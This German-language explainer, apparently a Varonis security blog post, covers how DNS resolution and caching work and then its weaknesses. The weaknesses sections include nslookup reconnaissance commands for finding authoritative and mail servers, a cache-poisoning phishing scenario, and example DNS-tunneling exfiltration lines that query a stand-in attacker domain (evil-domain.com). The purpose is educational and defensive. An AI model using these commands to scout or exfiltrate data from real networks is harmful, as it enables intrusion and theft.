Was DNS ist, wie es funktioniert und Schwachstellen

DNS

Das Domain Name System (DNS) ist die Internetversion der Gelben Seiten. In der guten alten Zeit hat man Geschäftsadressen, die man brauchte, in den Gelben Seiten nachgeschlagen. Das DNS ist genau dasselbe. Allerdings müssen Sie nicht wirklich nachschlagen: Ihr mit dem Internet verbundener Computer erledigt das für Sie. So weiß Ihr Computer, wo er Google oder ESPN.com oder Varonis.com findet.

Damit zwei Computer in einem IP-Netzwerk miteinander kommunizieren können, schreibt das Protokoll vor, dass sie eine IP-Adresse benötigen. Stellen Sie sich eine IP-Adresse wie eine Straßenadresse vor – damit ein Computer einen anderen „findet“, muss er die Nummer des anderen Computers kennen. Da die meisten Menschen besser darin sind, sich Namen zu merken (z. B. www.varonis.com) – als Zahlen (104.196.44.111), brauchen sie ein Programm, mit denen Computer die Namen in IP-Adressen zu übersetzen.

Das Programm zur Übersetzung von Namen in Zahlen und umgekehrt wird „DNS“ oder Domain Name System genannt. Ein Computer, auf dem ein DNS läuft, wird als „DNS-Server“ bezeichnet. Ohne DNS müssten wir uns die IP-Adresse eines jeden Servers merken, mit dem wir uns verbinden wollen – was für ein Spaß.

So funktioniert DNS

DNS ist ein so integraler Bestandteil des Internets, und man sollte unbedingt verstehen wie es funktioniert.

Stellen Sie sich DNS wie ein Telefonbuch vor, nur anstatt die Namen von Personen mit ihrer Adresse zu verknüpfen, ordnet das Telefonbuch Computernamen IP-Adressen zu. Jede Verknüpfung wird als „DNS-Eintrag“ bezeichnet.

Im Internet gibt es unzählige Computer, so dass es keinen Sinn macht, alle Datensätze in einem einzigen großen Buch zusammenzufassen. Stattdessen ist die DNS in kleinere Bücher oder Domains organisiert. Domains können sehr groß sein, so dass sie weiter in kleinere Bücher unterteilt sind, sogenannte „Zonen“.  Auf keinem einzigen DNS-Server sind alle Bücher gespeichert – das wäre unpraktisch.

Stattdessen gibt es viele DNS-Server, die alle DNS-Einträge für das Internet speichern. Jeder Computer, der eine Nummer oder einen Namen erfahren möchte, kann bei seinem DNS-Server anfragen, und sein DNS-Server weiß, wie man andere DNS-Server fragt – oder abfragt –, wenn er einen Datensatz benötigt. Wenn ein DNS-Server andere DNS-Server abfragt, führt er eine „Upstream“-Abfrage durch. Abfragen nach einer Domain können „upstream“ erfolgen, bis sie wieder zum verantwortlichen Server der Domain bzw. zum „autoritativen Nameserver“ zurückführen.

Ein autoritativer Nameserver ist der Ort, an dem Administratoren Servernamen und IP-Adressen für ihre Domänen verwalten. Wann immer ein DNS-Administrator einen Servernamen oder eine IP-Adresse hinzufügen, ändern oder löschen möchte, nimmt er eine Änderung an seinem autoritativen DNS-Server vor (manchmal auch als „Master-DNS-Server“ bezeichnet). Es gibt auch „Slave“-DNS-Server. Auf diesen DNS-Servern liegen Kopien der DNS-Einträge für ihre Zonen und Domains.

how DNS works

Die vier DNS-Server, über die eine Webseite geladen wird

  • DNS-Recurser: Der DNS-Recursor ist der Server, der auf eine DNS-Anfrage antwortet und einen anderen DNS-Server nach der Adresse fragt oder bereits die IP-Adresse der Website abgespeichert hat.
  • Root-Name-Server: Ein Root-Name-Server ist der Name-Server für die Root-Zone. Er reagiert auf direkte Anfragen und kann eine Liste der autoritativen Name-Server für die entsprechende Top-Level-Domain zurückgeben.
  • TLD-Name-Server: Der Top-Level-Domain-Server (TLD) gehört zu den High-Level-DNS-Servern im Internet. Wenn Sie nach www.varonis.com suchen, antwortet zuerst ein TLD-Server für „.com“. Danach sucht DNS nach „varonis“.
  • Autoritativer Name-Server: Der autoritative Nameserver ist die Endstation einer DNS-Abfrage. Auf dem autoritativen Name-Server liegt der DNS-Eintrag für die Anfrage.

Arten von DNS-Diensten

Es gibt zwei verschiedene Arten von DNS-Diensten im Internet. Jeder dieser Dienste handhabt DNS-Abfragen je nach Funktion unterschiedlich.

  • Rekursiver DNS-Resolver: Ein rekursiver DNS-Resolver ist der DNS-Server, der auf die DNS-Abfrage reagiert und nach dem autoritativen Nameserver oder einem zwischengespeicherten DNS-Ergebnis für den angeforderten Namen sucht.
  • Autoritativer DNS-Server: Ein autoritativer DNS-Server speichert die DNS-Anfrage. Wenn Sie also einen autoritativen DNS-Server nach einer seiner IP-Adressen fragen, muss er nicht bei einem anderen Server nachfragen. Der autoritative Name-Server ist die letzte Instanz für diese Namen und IP-Adressen.

Öffentliches DNS und privates DNS

DNS wurde entwickelt, damit sich die Benutzer mit Diensten im Internet verbinden können.  Damit ein Server im öffentlichen Internet erreichbar ist, benötigt er einen öffentlichen DNS-Eintrag, und seine IP-Adresse muss im Internet erreichbar sein – d. h. er wird nicht von einer Firewall blockiert. Öffentliche DNS-Server sind für jeden zugänglich, der sich mit ihnen verbinden kann und keine Authentifizierung benötigt.

Interessanterweise sind nicht alle DNS-Einträge öffentlich. Heute ermöglichen Organisationen ihren Mitarbeitern nicht nur, mit DNS Dinge im Internet zu finden, sondern auch private, interne Server. Wenn ein Unternehmen Servernamen und IP-Adressen privat halten oder nicht direkt aus dem Internet erreichbar machen möchte, listet es sie nicht auf öffentlichen DNS-Servern auf. Stattdessen werden sie auf privaten oder internen DNS-Servern aufgelistet. Auf internen DNS-Servern sind Namen und IP-Adressen für interne Dateiserver, Mailserver, Domaincontroller, Datenbankserver, Anwendungsserver usw. gespeichert – alle diese wichtigen Dinge.

Etwas gilt es zu beachten: interne DNS-Server erfordern – anders als externe DNS-Server – keine Authentifizierung. Das liegt daran, dass DNS schon vor so langer Zeit entwickelt wurden, als IT Sicherheit noch kein so großes Problem war. Meistens kann jeder, der sich innerhalb der Firewall befindet – durch Infiltration oder über ein VPN verbunden – interne DNS-Server abfragen. Das Einzige, was jemanden „draußen“ daran hindert, auf interne DNS-Server zuzugreifen und sie abzufragen, ist, dass er sich nicht direkt mit ihnen verbinden kann.

  • Öffentliches DNS: Damit ein Server im öffentlichen Internet zugänglich ist, benötigt er einen öffentlichen DNS-Eintrag und eine IP-Adresse muss im Internet erreichbar sein.
  • Privates DNS: Computer, die hinter einer Firewall oder in einem internen Netzwerk laufen, haben einen privaten DNS-Eintrag, so dass lokale Computer sie anhand ihres Namens identifizieren können. Externe Benutzer im Internet haben keinen direkten Zugriff auf diese Computer.

7 Schritte eines DNS-Lookups

Schauen wir uns genau an, wie eine DNS-Anfrage abläuft.

  1. Eine DNS-Anfrage wird gestartet, wenn Sie versuchen, auf einen Computer im Internet zuzugreifen. Nehmen wir beispielsweise an, Sie geben www.varonis.com in die Adressleiste Ihres Browsers ein.
  2. Die erste Anlaufstelle der DNS-Anfrage ist der lokale DNS-Cache. Wenn Sie auf andere Computer zugreifen, werden deren IP-Adressen in einem lokalen Repository gespeichert.  Wenn Sie www.varonis.com schon einmal besucht haben, haben Sie die entsprechende IP-Adresse in Ihrem Cache.
  3. Wenn Sie die IP-Adresse nicht in Ihrem lokalen DNS-Cache haben, fragt DNS bei einem rekursiven DNS-Server an. Üblicherweise stellt Ihr IT-Team oder Ihr Internet-Service-Provider (ISP) den rekursiven DNS-Server für diesen Zweck zur Verfügung.
  4. Der rekursive DNS-Server hat einen eigenen Cache, und wenn die IP-Adresse dort vorhanden ist, gibt er sie an Sie zurück. Wenn nicht, fragt er bei einem anderern DNS-Server an.
  5. Die nächste Anlaufstelle sind die TLD-Name-Server, in diesem Fall der TLD-Name-Server für die .com-Adressen. Diese Server verfügen nicht selbst über die IP-Adresse, die wir benötigen, sie können aber die DNS-Anfrage in die richtige Richtung senden.
  6. Denn die TLD-Name-Server kennen den Standort des autoritativen Name-Servers für die angeforderte Site. Der autoritative Name-Server antwortet mit der IP-Adresse für www.varonis.com, der rekursive DNS-Server speichert sie im lokalen DNS-Cache und gibt die Adresse an Ihren Computer zurück.
  7. Ihr lokaler DNS-Dienst erhält die IP-Adresse und stellt die Verbindung zu www.varonis.com, um die Fülle der dort verfügbaren phantastischen Inhalte herunterzuladen. Das DNS legt dann die IP-Adresse im lokalen Cache mit einem Time-to-Live- (TTL) Wert ab. Der TTL-Wert gibt den Zeitraum an, in dem der lokale DNS-Eintrag gültig ist. Danach durchläuft das DNS den Prozess erneut, wenn Sie varonis.com anfordern.

Welche Arten von DNS-Abfragen gibt es?

DNS-Abfragen sind der Computercode, der den DNS-Servern mitteilt, um welche Art von Anfrage es sich handelt und welche Informationen abgefragt werden sollen. Bei einem normalen DNS-Lookup gibt es drei grundlegende DNS-Anfragen.

  • Rekursive Anfrage: Bei einer rekursiven Anfrage fordert der Computer eine IP-Adresse oder die Bestätigung an, dass der DNS-Server diese IP-Adresse nicht kennt.
  • Iterative Anfrage: Bei einer iterativen Anfrage möchte der Antragsteller vom DNS-Server die bestmögliche Antwort. Wenn der DNS-Server die IP-Adresse nicht selbst hat, gibt er den autoritativen Name-Server oder TLD-Name-Server zurück. Der Antragsteller setzt diesen iterativen Prozess fort, bis er eine Antwort findet oder die Anfragezeit überschritten wird.
  • Nicht rekursive Anfrage: Ein DNS-Resolver verwendet diese Anfrage, um eine IP-Adresse aufzulösen, die er nicht in seinem Cache findet. Von derartigen Anfragen darf immer nur eine laufen, um die Beanspruchung der Netzwerkbandbreite zu begrenzen.

types of DNS queries

Was sind DNS-Cache und Caching-Funktionen?

Der DNS-Cache ist ein Repository mit Domain-Namen und IP-Adressen, die auf einem Computer gespeichert sind, so dass dieser nicht jedes Mal nach der IP-Adresse fragen muss. Stellen Sie sich vor, dass DNS jedes Mal, wenn ein Benutzer www.varonis.com aufzurufen versucht, eine Anfrage beim autoritativen Name-Server von Varonis durchführen müsste. Der Datenverkehr wäre überwältigend! Die alleinige Vorstellung des gewaltigen Verkehrsvolumens ist der Grund, warum wir DNS-Caching haben. DNS-Caching verfolgt zwei zentrale Ziele:

  • Beschleunigung von DNS-Anfragen
  • Reduzierung der Bandbreite von DNS-Anfragen im Internet

Die DNS-Cache-Methode ist jedoch mit einigen Problemen verbunden:

  • Es dauert etwas, bis Änderungen im DNS verbreitet sind – es kann also eine Weile dauern, bis jeder DNS-Server in seinem Cache die aktuellen IP-Daten hat.
  • Der DNS-Cache stellt einen potenzieller Angriffsvektor für Hacker dar.

Im Internet werden unterschiedliche Arten von DNS-Caching verwendet:

  • Browser-DNS-Caching: Aktuelle Browser mit einem Entwicklungs-Stand von ca. 2018 haben eine eingebaute DNS-Caching-Funktionalität. Das Auflösen des DNS mit dem lokalen Cache ist schnell und effizient.
  • DNS-Caching durch das Betriebssystem (OS): Ihr Computer ist ein DNS-Client, und auf Ihrem Computer gibt es einen Dienst, der die DNS-Auflösung und DNS-Anfragen verwaltet. Dessen DNS-Cache ist ebenfalls lokal und damit sehr schnell und beansprucht keine Bandbreite.
  • DNS-Caching bei der rekursiven Auflösung: Jeder rekursive DNS-Server hat einen DNS-Cache und speichert alle ihm bekannten IP-Adressen, um sie bei späteren Anfragen verwenden zu können.

Schwächen und Sicherheitslücken von DNS

Es gibt drei große Sicherheitslücken bei DNS, auf die man achten muss, weil Angreifer sie häufig für einen Missbrauch des DNS ausnutzen:

  1. Interne DNS-Server speichern alle Servernamen und IP-Adressen für ihre Domains und geben sie an jeden weiter, der danach fragt. Deshalb ist DNS eine großartige Informationsquelle für Angreifer bei dem Versuch, ein System intern auszuspähen.
  2. DNS-Caches sind nicht „autoritativ” und können manipuliert werden. Wenn Ihr DNS-Server mit falschen Datensätzen „vergiftet“ wird, können Computer dahingehend überlistet werden, falsche Adressen aufzurufen.
  3. DNS leitet Anfragedaten von internen Arbeitsplätzen an externe Server weiter, und Angreifer haben gelernt, wie man dieses Verhalten nutzt, um „verdeckte Kanäle“ für die Exfiltration von Daten einzurichten.

DNS weaknesses and vulnerabilites

Verwendung von DNS für die Erkundung

Sobald ein Angreifer eine Firewall überwunden und die Kontrolle über einen Computer hat, kann er mit DNS wichtige Servernamen auskundschaften. Angreifer können Namen nachschlagen, die mit internen IP-Adressen verknüpft sind, wie z. B. die von Mail-und Name-Servern – von zahlreichen wertvollen Dingen. Wenn sie versiert genug sind, können sie sogar einen internen DNS-Server dazu bringen, umfassende Informationen über die Zonen ihrer Domain herauszugeben – das wird dann als „DNS Zone Transfer-Angriff“ bezeichnet.

Wenn Sie einen Windows-Computer haben, führen Sie die folgenden Befehle unverändert aus. Für Linux-Benutzer gibt es entsprechende Befehle, die Sie nachschlagen können.

  1. Öffnen Sie eine Eingabeaufforderung (drücken Sie Strg + Esc, geben die Buchstaben „cmd“ ein und drücken dann die Eingabetaste).
  2. Geben Sie ipconfig ein.
  3. Jetzt werden Ihnen die DNS-Domain, in der Sie sich befinden, (das verbindungsspezifische DNS-Suffix), Ihre IP-Adresse und eine Reihe weiterer Dinge angezeigt. Die brauchen Sie später noch einmal.
  4. Geben Sie nslookup [IP-Adresse] ein. Sie sehen jetzt den Namen des antwortenden DNS-Servers und, wenn der Name bekannt ist, den DNS-Eintrag mit dem Namen und der IP-Adresse.
  5. nslookup -type=soa [Ihre Domain] Dieser Befehl gibt Ihnen Ihren autoritativen DNS-Server zurück. Wäre das nicht praktisch, wenn Sie versuchen würden, ein Netzwerk zu infiltrieren?
  6. nslookup -type=MX [Ihre Domain] Dieser Befehl gibt alle Mailserver in Ihrer lokalen Domain zurück – nur für den Fall, dass Sie Mail-Server hacken möchten und nicht wissen, wo sie zu finden sind.

Verwendung von DNS zur Umleitung des Datenverkehrs

Denken Sie daran: Wenn ein Benutzer versucht, eine Website aufzurufen, fragt sein Computer bei seinem DNS-Server nach der IP-Adresse der Website oder dem DNS-Eintrag nach. Wenn der DNS-Server eine Kopie des Datensatzes im Cache hat, gibt er sie zurück. Wenn das nicht der Fall ist, fragt er „upstream“ bei einem DNS-Server an und gibt die Ergebnisse an den Endbenutzer zurück. Außerdem speichert er sie für das nächste Mal im Cache.

Angreifer haben eine Möglichkeit gefunden, DNS-Antworten zu fälschen oder Antworten aussehen zu lassen, als würden sie von legitimen DNS-Servern stammen. Ohne zu sehr in technische Details zu gehen – Angreifer nutzen dafür drei Schwächen im DNS:

  1. DNS führt nur eine sehr schwache Validierung der Antworten von Upstream-Servern durch. Antworten müssen nur die richtige Transaktions-ID enthalten, die lediglich eine 16-Bit-Zahl (0-65536) ist. Und genau wie man nicht besonders viele Personen in einem Raum braucht, um die Chancen zu erhöhen, dass zwei von ihnen den gleichen Geburtstag haben, stellt sich heraus, dass es einfacher ist, die richtige ID zu erraten, als Sie vielleicht denken.
  2. DNS-Server akzeptieren gleichzeitige (oder fast zeitiggleiche) Antworten auf ihre Anfragen, so dass Angreifer mehrere Versuche unternehmen kann, die Transaktions-ID zu erraten (was einem Brute-Force-Angriff auf ein Passwort ähnlich ist).
  3. Die von DNS verwendeten IP-Verbindungen sind leicht zu „fälschen“. Das bedeutet, dass ein Angreifer Datenverkehr von einem Computer an einen DNS-Server senden und es so aussehen lassen kann, als würde er von einem anderen Computer kommen, z. B. von einem für die Verbindung zulässigen DNS-Server. Nur bestimmte Arten von IP-Verbindungen sind leicht zu fälschen – und DNS gehört zufällig dazu.

Wenn ein Angreifer eine DNS-Antwort erfolgreich fälscht, kann er im Cache des empfangenden DNS-Servers einen vergifteten Datensatz platzieren. Und wie hilft das einem Angreifer?

Hier ist ein Beispiel: Angenommen, ein Angreifer erfährt, dass Ihre Organisation eine externe Anwendung für etwas Wichtiges wie Ihre Spesenabrechnungen verwendet. Wenn er den DNS-Server Ihrer Organisation so vergiften, dass er jeden Benutzer auf den Server des Angreifers weiterleitet, muss er lediglich eine legitim aussehende Anmeldeseite erstellen, und die Benutzer werden dort ihre Anmeldeinformationen eingeben. Der Angreifer könnte sogar den Datenverkehr an den realen Server weiterleiten (der als „Mann in der Mitte“ fungiert), so dass niemand etwas bemerkt. Der Angreifer kann diese Anmeldeinformationen dann auf anderen Systemen ausprobieren, sie verkaufen oder sich einfach die Hände reiben.

Verwendung von DNS als verdeckter Kanal

Angenommen, ein Angreifer hat es geschafft, in ein Netzwerk (corp.com) einzudringen, einen oder zwei Hosts zu kompromittieren und hat kritische Daten gefunden, die er exfiltrieren möchte. Wie kann er das tun, ohne einen Alarm auszulösen? Angreifer verwenden dazu eine Technik namens „DNS-Tunneling“, um genau das zu tun. Sie richten eine DNS-Domain (z. B. evil-domain.com) im Internet und einen autoritativen Name-Server ein. Auf dem kompromittierten Host kann der Angreifer die Daten mit einem Programm in kleine Teile zerlegen und in eine Reihe von Lookups einfügen:

  • nslookup My1secret1.evil-domain.com
  • nslookup is1that1I1know.evil-domain.com
  • nsllookup how2steal1data.evil-domain.com

Der DNS-Server corp.com empfängt diese Anfragen, stellt fest, dass sich die Ergebnisse nicht in seinem Cache befinden, und leitet die Anfragen zurück zum autoritativen Nameserver von evil-domain.com. Der Angreifer erwartet diesen Datenverkeht und führt deshalb ein Programm auf dem autoritativen Name-Server aus, um den ersten Teil der Anfrage zu extrahieren (alles vor evil-domain.com) und neu zusammenzusetzen. Sofern das Unternehmen keine Untersuchung der Anfragen seiner DNS-Server durchführt, wird es nie erkennen, dass seine DNS-Server zur Datenexfiltration verwendet wurden.

DNS gibt es bereits seit langem und jeder mit dem Internet verbundene Computer ist darauf angewiesen. Angreifer nutzen DNS nun sowohl für die externe als auch für interne Erkundung, zur Abfangen von Datenverkehr und zur Einrichtung verdeckter Kommunikationskanäle. Glücklicherweise können viele dieser Angriffe durch die Überwachung der DNS-Server und die Anwendung von Sicherheitsanalysen erkannt und verhindert werden.

Möchten Sie sehen, wie das geht?  Melden Sie sich bei unserem Live-Workshop „Cyber-Angriffe“ an, bei dem unsere Sicherheitsingenieure einen Live-Angriff durchführen – Sie exfiltrieren dort selbst Daten über DNS-Tunneling und beobachten alles in Echtzeit!